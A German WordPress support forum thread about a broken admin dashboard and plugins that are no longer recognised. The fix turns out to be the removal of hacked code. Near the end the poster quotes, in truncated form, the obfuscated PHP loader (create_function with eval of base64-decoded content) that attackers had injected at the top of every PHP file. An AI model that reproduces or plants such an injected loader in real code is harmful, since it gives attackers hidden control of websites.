Dashboard zerschossen + Plugins werden nicht mehr erkannt

  • Hallo,

    der Titel sagt eigentlich schon alles. Von gestern auf heute ist das Dashboard zerschossen (Screenshot: http://prntscr.com/18ct9z) und die Plugins werden auch nicht mehr erkannt, obwohl diese im Ordner liegen. Ich habe schon alle WP Datein neu rübergezogen, hat aber leider nichts gebracht :(

    Hat jemand eine Idee was dort geschehen sein kann oder wie ich das Problem beheben kann?

    Danke schon mal!

    Schöne Grüße
    Christoph

    Ich hoffe das der Sommer dieses Jahr auf einen Samstag fällt xD

    • Anzeige

    Hallo!

    Wenn du gerade an deiner Website arbeitest oder dein aktuelles Hosting überdenkst: Wir betreiben mit NetzLiving eine Hosting-Plattform, die speziell auf Performance, Sicherheit und einfache Verwaltung ausgelegt ist.

    • ✔️ Schnelle Ladezeiten (optimiert für WordPress & Co.)
    • ✔️ Deutsche Server & DSGVO-konform
    • ✔️ Persönlicher Support (kein 0815-Ticket-System)

    Mehr erfahren

  • AW: Dashboard zerschossen + Plugins werden nicht mehr erkannt

    Was waren denn die letzten Änderungen bevor der Fehler auftrat? Hast du schon versucht ein BackUp einzuspielen?

    Auf den ersten Blick sieht es so aus, als hättest du ein Problem mit den internen Verlinkungen (stylesheet wird offensichtlich nicht geladen und auch die Probleme mit den PlugIns könnte darauf hinweisen). Über prüfe mal selbige.

    LG, pixselig

  • Ich hatte gestern zuletzt zwei Plugins aktualisiert. Allerdings funktionierte nach dem aktualisieren alles! Ein Backup habe ich leider nicht!
    Wo wird angegeben von wo er die CSS für das Dashboard ziehen soll und in welchen Pfad die Plugins zu finden sind?

    Was mich noch wundert: ich bin ja eingeloggt und wenn ich auf der Seite rumsurfe und dann oben über diese Admin-Bar auf "Seite bearbeiten" klicke, wird die Bearbeiten-Seite korrekt dargestellt... da stellt er also alles korrekt dar aber sobald ich auf eine andere Seite im Admin-Bereich wechsel (egal welche), alles zerschossen. So etwas hatte ich echt noch nie -.-

    Schöne Grüße
    Christoph

    Ich hoffe das der Sommer dieses Jahr auf einen Samstag fällt xD

  • Oder wurden hier die URLs unter Einstellungen->Allgemein verändert? Wenn ja, dann bitte die FAQs zu Rate ziehen (Wie kann ich die URL ändern)

  • Oder wurden hier die URLs unter Einstellungen->Allgemein verändert? Wenn ja, dann bitte die FAQs zu Rate ziehen (Wie kann ich die URL ändern)


    Nein, URL ist die Gleiche!

    Ich hoffe das der Sommer dieses Jahr auf einen Samstag fällt xD

  • Als erstes die wp-config.php öffnen und WP_DEBUG auf true setzen. Am Backend anmelden und nach Fehlermeldungen ausschau halten.

    Alle Plugins mal deaktivieren? Wenn das im Backend nicht mehr geht, einfach per FTP runtersichern und löschen. Die Einstellungen in der Datenbank bleiben ja erhalten.

    Das ist die nächste Option - mit phpMyAdmin o. ä. auf die Datenbank zugreifen und als erstes die wp_options durchpflügen. Insbesondere Einträge der zuletzt bearbeiteten Plugins inspizieren.

  • Als erstes die wp-config.php öffnen und WP_DEBUG auf true setzen. Am Backend anmelden und nach Fehlermeldungen ausschau halten.


    Ah das kannte ich noch gar nicht, super :) Ja es wurde ein "Notice: Undefined index: page in......." ausgegeben... haben dann "if ( $_GET['page'] == basename(__FILE__) ) {" in "if ( isset($_GET['page']) && $_GET['page'] == basename(__FILE__) ) {" geändert und jetzt wird das Dashboard wieder korrekt dargestellt! Mich würde nur jetzt mal Interessieren wodurch dieser Fehler entstand^^


    Alle Plugins mal deaktivieren? Wenn das im Backend nicht mehr geht, einfach per FTP runtersichern und löschen. Die Einstellungen in der Datenbank bleiben ja erhalten.


    Habe ich gemacht, auch mal wieder neu hochgeladen aber keine Chance, kein Einiziges Plugin ist zu sehen!


    Das ist die nächste Option - mit phpMyAdmin o. ä. auf die Datenbank zugreifen und als erstes die wp_options durchpflügen. Insbesondere Einträge der zuletzt bearbeiteten Plugins inspizieren.


    Habe ich gemacht, kann jedoch keine Plugin-Einträge finden. Ich weiß nicht ob die nicht da sind oder ob ich sie einfach nur nicht finden kann :/

    Schöne Grüße
    Christoph

    Ich hoffe das der Sommer dieses Jahr auf einen Samstag fällt xD

  • Tut mir Leid für das Doppelposting aber hat noch jemand eine Idee warum die Plugins nicht mehr erkannt werden?

    Was mir aber aufgefallen ist: NEUE Plugins (also die auf dem Blog vorher nicht drauf waren) erkennt er, nur die "alten" nicht. Ziemlich komisch! Das hat dann doch bestimmt irgendwas mit der Datenbank zu tun, oder?

    Schöne Grüße
    Christoph

    Ich hoffe das der Sommer dieses Jahr auf einen Samstag fällt xD

  • Hallo Wynny,

    wenn ich

    if ( $_GET['page'] == basename(__FILE__) ) {

    ersetze durch

    if ( isset($_GET['page']) && $_GET['page'] == basename(__FILE__) ) {

    bekomme ich

    Parse error: syntax error, unexpected T_STRING in /kunden/203803_22301/Chestcoach/wordpress/wp-content/themes/ninja-one/functions.php on line 170


    Habe ich da was falsch gemacht?


    Außerdem habe ich noch die Fehlermeldung

    Notice: add_contextual_help ist seit Version 3.3 veraltet! Benutze stattdessen get_current_screen()->add_help_tab(). in /kunden/203803_22301/Chestcoach/wordpress/wp-includes/functions.php on line 2839

    Was muss ich da jetzt machen?

    Ich finde diese Ausdrück nicht in der functions.php

  • Da hast Du recht. Es hat was mit der DB zu tun.
    Ich habe das Problem so gelöst:

    1. Den Ordner plugins (wordpress/wp-content-plugins) auf dem PC runterladen
    2. Den Ordner plugins in der DB löschen (Kannst alternativ auch die Plugins einzeln rauslöschen wennn es nicht viele sind)
    3. Den Ordner plugins neu anlegen.
    4. Die Plugins neu installieren, aber nicht aktivieren
    5. Den gesicherten Ordner Plugins (oder die Plugins je nachdem was Du bei Schritt 2 gemacht) über FTP in den Ordner plugins überspielen. Dabei werden die bei Schritt 4 installierten Plugins überschrieben.
    6. Im WP-Backend die Plugins aktivieren

    Jetzt müsstest Du Plugins mit den alten Einstellungen haben.

    Bei einigen Seiten hat sich das Problem mit der zerschossenen Darstellung auch so erledigt.

  • Hi Jörgi,

    da kann ich Dir leider nicht helfen... bei mir hat es funktioniert... hatte diesen Tipp in einem Blogartikel gefunden.

    Ich habe immer noch das Problem dass KEIN Plugin bei mir erkannt wird... das ist echt scheiße :( Wie gesagt, neue Plugins werden erkannt, alte nicht! Hat echt keiner eine Lösung dafür?

    Ich hoffe das der Sommer dieses Jahr auf einen Samstag fällt xD

  • Kannst Du mir kurz sagen was ich genau in der DB löschen muss? Also welche Einträge?

    Ich hoffe das der Sommer dieses Jahr auf einen Samstag fällt xD


  • 1. Der Ordner heißt wp-content/plugins
    2. Man kann keinen Ordner in der Datenbank löschen. Hier ist wohl eher der Ordner auf dem Server gemeint, also per FTP Tool löschen.

    Die Schritte 2-5 kannst Du Dir sparen. Es reicht aus die Unterordner von wp-content/plugins einfach umzubenennen. Dadurch werden alle aktiven Plugins automatisch deaktiviert.

    Nach dem Umbenennen den Browsercache löschen und ins Backend gehen. Prüfe dann ob die Fehler immer noch auftreten. Wenn nicht, dann aktivierst Du das erste Plugin. Fehler tritt noch immer nicht auf? Dann das nächste Plugin aktivieren und prüfen... Und so weiter... Bis Du den Schuldigen gefunden hast.

  • Habe den "Fehler" nun gefunden. Anscheinend wurde der Server gehackt und die Hacker haben in allen .php Dateien einen Schadcode hinzugefügt. D.h. jede PHP-Datei fängt mit folgenden Code an:

    Zitat

    $zend_framework="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e"; @error_reporting(0); $zend_framework("", "\x7d\73\x40\145\x76\141\x6c\50\x40\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\42\x4a\107\x56\62YTFmWTJiYWsxY3owaXIgPSAiXHg2NlwxNjVceDZlXDE0M1x4NzRcMTUxXHg2Zlwx.........cNjJceDY5XDE2MiIpOw0KCX0\x4e\103\x6e\60\x3d\42\x29\51\x3b\57\x2f"); ?><?php

    Habe mit Suchen+Ersetzen alles gelöscht und jetzt funktioniert alles wieder!

    Danke trotzdem an alle die geholfen haben!!!

    Gruß
    Christoph

    Ich hoffe das der Sommer dieses Jahr auf einen Samstag fällt xD

  • Dann hoffe ich mal, dass Du das "Törchen" auch geschlossen hast... ;)

Jetzt mitmachen!

Sie haben noch kein Benutzerkonto auf unserer Seite? Registrieren Sie sich kostenlos und nehmen Sie an unserer Community teil!